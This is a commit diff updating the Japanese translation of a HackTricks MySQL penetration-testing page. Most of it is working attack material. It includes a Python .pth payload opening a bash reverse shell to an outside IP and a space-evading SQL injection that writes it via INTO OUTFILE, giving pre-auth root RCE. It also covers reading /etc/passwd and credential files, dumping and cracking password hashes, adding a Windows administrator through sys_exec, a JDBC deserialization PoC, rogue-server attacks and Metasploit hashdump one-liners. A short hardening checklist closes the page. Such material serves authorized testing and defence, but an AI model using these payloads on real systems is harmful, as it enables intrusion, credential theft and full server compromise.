mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to ja
This commit is contained in:
parent
3d1445b7e8
commit
82288edfb3
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
ドキュメントで各特権の意味を確認できます: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
あなたはドキュメントで各特権の意味を見ることができます: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQLファイルRCE
|
||||
|
||||
@ -114,14 +114,14 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
古典的な `INTO OUTFILE` プリミティブを悪用することで、後に **Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。
|
||||
|
||||
1. `INTO OUTFILE` を使用して、`site.py` に自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードを含めることができ、インタープリタが起動するたびに実行されます。
|
||||
3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき(例えば、`#!/bin/python` のシバンを持つ `/cgi-bin/ml-draw.py`)、ペイロードはウェブサーバープロセスと同じ特権で実行されます(FortiWebはそれを **root** として実行しました → 完全な事前認証RCE)。
|
||||
2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードが含まれており、インタープリタが起動するたびに実行されます。
|
||||
3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき(例えば、`/cgi-bin/ml-draw.py` でシェバン `#!/bin/python` を使用) payloadはウェブサーバープロセスと同じ特権で実行されます(FortiWebはそれを **root** として実行しました → 完全な事前認証RCE)。
|
||||
|
||||
例の `.pth` ペイロード(単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
|
||||
例 `.pth` ペイロード(単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
**UNION** クエリを使用してファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保ちます):
|
||||
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
@ -132,7 +132,7 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
|
||||
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
|
||||
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが **root** として実行され、ほぼどこでも書き込みアクセスが与えられます。
|
||||
|
||||
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を得ます:
|
||||
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
@ -148,8 +148,8 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL クライアントによる任意のファイルの読み取り
|
||||
|
||||
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のように行われます:
|
||||
実際、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のように注意してください:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
@ -253,15 +253,15 @@ SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### MySQLの資格情報をファイルから抽出する
|
||||
|
||||
_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint** の **平文パスワード** を見つけることができます。
|
||||
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint** の **平文パスワード** が含まれています。
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
これらの資格情報を使用して、mysqlデータベースにログインできます。
|
||||
これらの資格情報を使用してMySQLデータベースにログインできます。
|
||||
|
||||
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります。
|
||||
|
||||
これらを抽出するには、次のようにします:
|
||||
次のようにしてそれらを抽出できます:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 ハイライト (新)
|
||||
|
||||
### JDBC `propertiesTransform` デシリアライズ (CVE-2023-21971)
|
||||
Connector/J <= 8.0.32 から、**JDBC URL** に影響を与えることができる攻撃者(例えば、接続文字列を要求するサードパーティ製ソフトウェア内で)は、`propertiesTransform` パラメータを介して *クライアント* 側に任意のクラスをロードするよう要求できます。クラスパス上に存在するガジェットがロード可能であれば、これは **JDBC クライアントのコンテキストでのリモートコード実行** を引き起こします(有効な認証情報は必要ないため、事前認証です)。最小限の PoC は次のようになります:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
`Evil.class`を実行するのは、脆弱なアプリケーションのクラスパスに配置するか、悪意のあるMySQLサーバーが悪意のあるシリアライズされたオブジェクトを送信することで簡単に行えます。この問題はConnector/J 8.0.33で修正されました - ドライバーをアップグレードするか、`propertiesTransform`をホワイトリストに明示的に設定してください。
|
||||
(詳細についてはSnykのレポートを参照)
|
||||
|
||||
### JDBCクライアントに対するロゲ/フェイクMySQLサーバー攻撃
|
||||
いくつかのオープンソースツールは、JDBCクライアントを攻撃するために*部分的*なMySQLプロトコルを実装しています:
|
||||
|
||||
* **mysql-fake-server** (Java、ファイル読み取りおよびデシリアライズの脆弱性をサポート)
|
||||
* **rogue_mysql_server** (Python、同様の機能)
|
||||
|
||||
典型的な攻撃経路:
|
||||
|
||||
1. 被害者アプリケーションが`allowLoadLocalInfile=true`または`autoDeserialize=true`で`mysql-connector-j`をロードします。
|
||||
2. 攻撃者がDNS/ホストエントリを制御し、DBのホスト名が彼らの制御下にあるマシンに解決されるようにします。
|
||||
3. 悪意のあるサーバーが、`LOCAL INFILE`による任意のファイル読み取りまたはJavaデシリアライズ→RCEを引き起こすように作成されたパケットで応答します。
|
||||
|
||||
フェイクサーバーを起動するための例のワンライナー(Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
次に、被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` にポイントし、*username* フィールドにファイル名を base64 でエンコードして `/etc/passwd` を読み取ります(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
|
||||
|
||||
### `caching_sha2_password` ハッシュのクラッキング
|
||||
MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`** (SHA-256) として保存します。Hashcat (モード **21100**) と John-the-Ripper (`--format=mysql-sha2`) は、2023年以降オフラインクラッキングをサポートしています。`authentication_string` カラムをダンプし、直接フィードします:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### ハードニングチェックリスト (2025)
|
||||
• **`LOCAL_INFILE=0`** と **`--secure-file-priv=/var/empty`** を設定して、ほとんどのファイル読み書きプリミティブを無効にします。
|
||||
• アプリケーションアカウントから **`FILE`** 権限を削除します。
|
||||
• Connector/J で `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(空)を設定します。
|
||||
• 使用していない認証プラグインを無効にし、**TLSを要求**します(`require_secure_transport = ON`)。
|
||||
• `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` および突然の `SET GLOBAL` ステートメントを監視します。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user